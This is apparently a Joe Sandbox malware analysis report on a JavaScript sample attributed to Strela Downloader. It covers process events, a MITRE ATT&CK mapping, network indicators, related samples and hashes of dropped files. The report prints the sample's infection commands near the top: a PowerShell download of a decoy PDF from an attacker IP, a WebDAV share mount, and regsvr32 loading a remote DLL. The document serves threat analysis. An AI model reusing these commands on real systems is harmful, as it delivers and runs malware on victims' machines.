Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18559217651387524988.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/v	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Num#	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.38	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/Num#	net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2709707848.000001C6FF000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1485800045.000001C6FEEA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/v	net.exe, 00000007.00000003.1484446728.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496347643.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1482510866.0000028EC6F9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1484446728.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496347643.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496531296.0000028EC6F9F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000003.1484446728.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1496347643.0000028EC6F82000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587602
Start date and time:	2025-01-10 15:32:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18559217651387524988.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 18.213.11.84, 20.109.210.53, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:32:59	API Interceptor	24x Sleep call for process: powershell.exe modified
09:33:03	API Interceptor	1x Sleep call for process: net.exe modified
09:33:03	API Interceptor	2x Sleep call for process: svchost.exe modified
09:33:11	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	A5815BC0-FA26-4ECC-9A97-EE9DB31273CA_12272024154104847.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39
	gem2.exe	Get hash	malicious	Xmrig	Browse	217.20.57.35
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.23
	Solara.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021897818491046
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA1:RJE+Lfki1GjHwU/+vVhWqpK
MD5:	F9E2565B45C60312F4CA76CAE80F7779
SHA1:	B79BDB38A3986AD0A3B31AE37303DB8C2B9D10A0
SHA-256:	02BF31DADDFAF7C47F7B509994A34E731BDAB4C8FE9A1C2B67CE10362C3F5A5A
SHA-512:	EB40351767AD5008A111B63D07FDA73C6A54D95424EB607616CE2B05570D13DADD5ED454717A354F23C6E7704A4FD7897E444D2E0C39758AE059578503958599
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x05a8c0f5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433068655100547
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	8D3A2DF32B1285BAFCF222DFFECF40B1
SHA1:	EC345653EA918B431116E6D763FE78E49ADFF8C9
SHA-256:	F8012FD7C202BA370BEF5112DC07D630AC231CFB23ADA41CB84AD424926F1C7F
SHA-512:	B885EE32D19E35EE5CD151C6E33EF0C57848CC817A569728006C9A06C2B4F91621825B4AC733102568D922DB69DD0B6FAF1720FA79713B1B11EA52506DD7A0F6
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s..!...}a.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................C...!...}..................c..Q.!...}a..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114309375702206
Encrypted:	false
SSDEEP:	3:e//lKYeRFltqll/nqlFcl1ZUllllTJA/AllGBnX/l/Tj/k7/t:e1KzRZqll/qlFclQ/lNJAA254
MD5:	C84BD5B43D81B846BF831DD72D7DE4A0
SHA1:	ECE80EEFDDDAB4BC2701CCE0B4BB9316E5CC235A
SHA-256:	3E71CF892215E51DEA294163EAF5F2043107611700FA77882B8E89FA1A826971
SHA-512:	D06B0CAC9F7AB1B30CE5439A0B5E16B2A27FE28E129243315ABD4ED574DDA7537E2BDA62EBE8ADB59B6A777C8B9078898070EADFD4D2E4ED74E6B9D85EEE00FC
Malicious:	false
Preview:	.Z}......................................;...{...!...}a.. ...{s.......... ...{s.. ...{s.P.... ...{s.................c..Q.!...}a.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.153383220259609
Encrypted:	false
SSDEEP:	6:iO4o/2UWM+q2PCHhJ2nKuAl9OmbnIFUtSo/0Ytz1Zmwso/0YtlWMVkwOCHhJ2nKZ:7v/JL+vBHAahFUtR/0Y//7/0Y7LV56Hi
MD5:	913C968256A712677F86A2726A798CAC
SHA1:	1E57B30B7DD12D2EC857BD28754E47EFA15674E9
SHA-256:	EB765F92C1278A412AD6145CC28B4F82E9C4A80B673F85C38F4DC15F71D76BEC
SHA-512:	5F1F38AE0988304635CD5FB63237B83A6F6986B15E1B72A26A640AEC3F56F82587934C45F93C0375A20CC1E507A2AE4172A7D3121485FF630A10A289F6751FD5
Malicious:	false
Preview:	2025/01/10-09:33:03.597 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:33:03.599 1d1c Recovering log #3.2025/01/10-09:33:03.599 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.153383220259609
Encrypted:	false
SSDEEP:	6:iO4o/2UWM+q2PCHhJ2nKuAl9OmbnIFUtSo/0Ytz1Zmwso/0YtlWMVkwOCHhJ2nKZ:7v/JL+vBHAahFUtR/0Y//7/0Y7LV56Hi
MD5:	913C968256A712677F86A2726A798CAC
SHA1:	1E57B30B7DD12D2EC857BD28754E47EFA15674E9
SHA-256:	EB765F92C1278A412AD6145CC28B4F82E9C4A80B673F85C38F4DC15F71D76BEC
SHA-512:	5F1F38AE0988304635CD5FB63237B83A6F6986B15E1B72A26A640AEC3F56F82587934C45F93C0375A20CC1E507A2AE4172A7D3121485FF630A10A289F6751FD5
Malicious:	false
Preview:	2025/01/10-09:33:03.597 1d1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:33:03.599 1d1c Recovering log #3.2025/01/10-09:33:03.599 1d1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1969344796423576
Encrypted:	false
SSDEEP:	6:iO4oVZ3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSoVoZmwsoVXtVkwOCHhJ2nKuAl9OU:7vzOvBHAa8uFUtR2/7F56HAa8RJ
MD5:	D7E812187A645214B261BAF131E4C8BF
SHA1:	021A838EECE5B60C54D597277A101641BDE3A2E0
SHA-256:	44454499470F8C4E2BC969847BC895D57D8E98559666E690F6EF98F8648141B1
SHA-512:	4954FB97832F4A19B5FCDFF0C3D76AFAC9212DC106039D7CAC5C1F6025CED7F41E9CC4DD02E62FBAA518FE02B2717FEA4120EEA93273CD9D368976AF959C08BB
Malicious:	false
Preview:	2025/01/10-09:33:03.753 788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:33:03.756 788 Recovering log #3.2025/01/10-09:33:03.757 788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.1969344796423576
Encrypted:	false
SSDEEP:	6:iO4oVZ3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSoVoZmwsoVXtVkwOCHhJ2nKuAl9OU:7vzOvBHAa8uFUtR2/7F56HAa8RJ
MD5:	D7E812187A645214B261BAF131E4C8BF
SHA1:	021A838EECE5B60C54D597277A101641BDE3A2E0
SHA-256:	44454499470F8C4E2BC969847BC895D57D8E98559666E690F6EF98F8648141B1
SHA-512:	4954FB97832F4A19B5FCDFF0C3D76AFAC9212DC106039D7CAC5C1F6025CED7F41E9CC4DD02E62FBAA518FE02B2717FEA4120EEA93273CD9D368976AF959C08BB
Malicious:	false
Preview:	2025/01/10-09:33:03.753 788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:33:03.756 788 Recovering log #3.2025/01/10-09:33:03.757 788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4162d1c5-3fa9-4114-bbe2-58456aca6cd3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972695042269216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGksBdOg2HZAcaq3QYiub6P7E4T3y:Y2sRdsxdMHZr3QYhbS7nby
MD5:	E904E1B67BF1EAE9A72B1A9B52BB24C1
SHA1:	54B7AC7886470EC4B91E09648E81EC337A45DA4F
SHA-256:	EA1D747F83D838AA5F0CCFF6CF0D8D38D353774B64B0BC3B955C28377468F883
SHA-512:	CE617F3A8A6D1D7C8913286F8575654225370EABD79DDD34ABC01E6C69A383A98BD2F40CB6B34AE8CDD20DAF53FA92A7EA786D31195B6555709152F6CD74CBF7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381079595572378","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126171},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972695042269216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGksBdOg2HZAcaq3QYiub6P7E4T3y:Y2sRdsxdMHZr3QYhbS7nby
MD5:	E904E1B67BF1EAE9A72B1A9B52BB24C1
SHA1:	54B7AC7886470EC4B91E09648E81EC337A45DA4F
SHA-256:	EA1D747F83D838AA5F0CCFF6CF0D8D38D353774B64B0BC3B955C28377468F883
SHA-512:	CE617F3A8A6D1D7C8913286F8575654225370EABD79DDD34ABC01E6C69A383A98BD2F40CB6B34AE8CDD20DAF53FA92A7EA786D31195B6555709152F6CD74CBF7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381079595572378","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126171},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.238057489124378
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b8L8l/J:S43C4mS7fFi0KFYDjr3LWO3V3aw+b8L+
MD5:	1EA0BE45C3C188DCDAE503BC4AA6A4F2
SHA1:	9B8F3CF3A646D3D1593186DE00912C3AB797F048
SHA-256:	44C7E0A04CFCE3D7A6BD3F27A4311AAC0ACF1D4202D63593C37A3C85B5CD84C7
SHA-512:	A254475C1E2D4167E630F7AFF64912B9FBBAA6E949141BE78CBBD04D673CCD99E7AAFBA168FB0B62850D88F708737605F7E2AD2117B9F8C34BC810FF1E968E7D
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.192657280508534
Encrypted:	false
SSDEEP:	6:iO4ohut+q2PCHhJ2nKuAl9OmbzNMxIFUtSo3Zmwso7uVkwOCHhJ2nKuAl9OmbzNq:7vVvBHAa8jFUtR3/77e56HAa84J
MD5:	203E8E7412BC076CBB02A296725426A2
SHA1:	CAC1F16F39E9DBF27DD6D0338DE6555F44A1A9C7
SHA-256:	DF6AB1D651D1380B838405057E40E0D65AB36C1A347AD78138273135C88722B1
SHA-512:	0A2B6AEA7E2BDBFA93E0E97EF0BB5FD32C5FAF42179DD7B0D1A9E3966B3B36579A18911330BEC4BBF3AA728ECA46692C4C6039E590BDBF19AB39731E6AE20960
Malicious:	false
Preview:	2025/01/10-09:33:03.905 788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:33:03.906 788 Recovering log #3.2025/01/10-09:33:03.907 788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.192657280508534
Encrypted:	false
SSDEEP:	6:iO4ohut+q2PCHhJ2nKuAl9OmbzNMxIFUtSo3Zmwso7uVkwOCHhJ2nKuAl9OmbzNq:7vVvBHAa8jFUtR3/77e56HAa84J
MD5:	203E8E7412BC076CBB02A296725426A2
SHA1:	CAC1F16F39E9DBF27DD6D0338DE6555F44A1A9C7
SHA-256:	DF6AB1D651D1380B838405057E40E0D65AB36C1A347AD78138273135C88722B1
SHA-512:	0A2B6AEA7E2BDBFA93E0E97EF0BB5FD32C5FAF42179DD7B0D1A9E3966B3B36579A18911330BEC4BBF3AA728ECA46692C4C6039E590BDBF19AB39731E6AE20960
Malicious:	false
Preview:	2025/01/10-09:33:03.905 788 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:33:03.906 788 Recovering log #3.2025/01/10-09:33:03.907 788 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
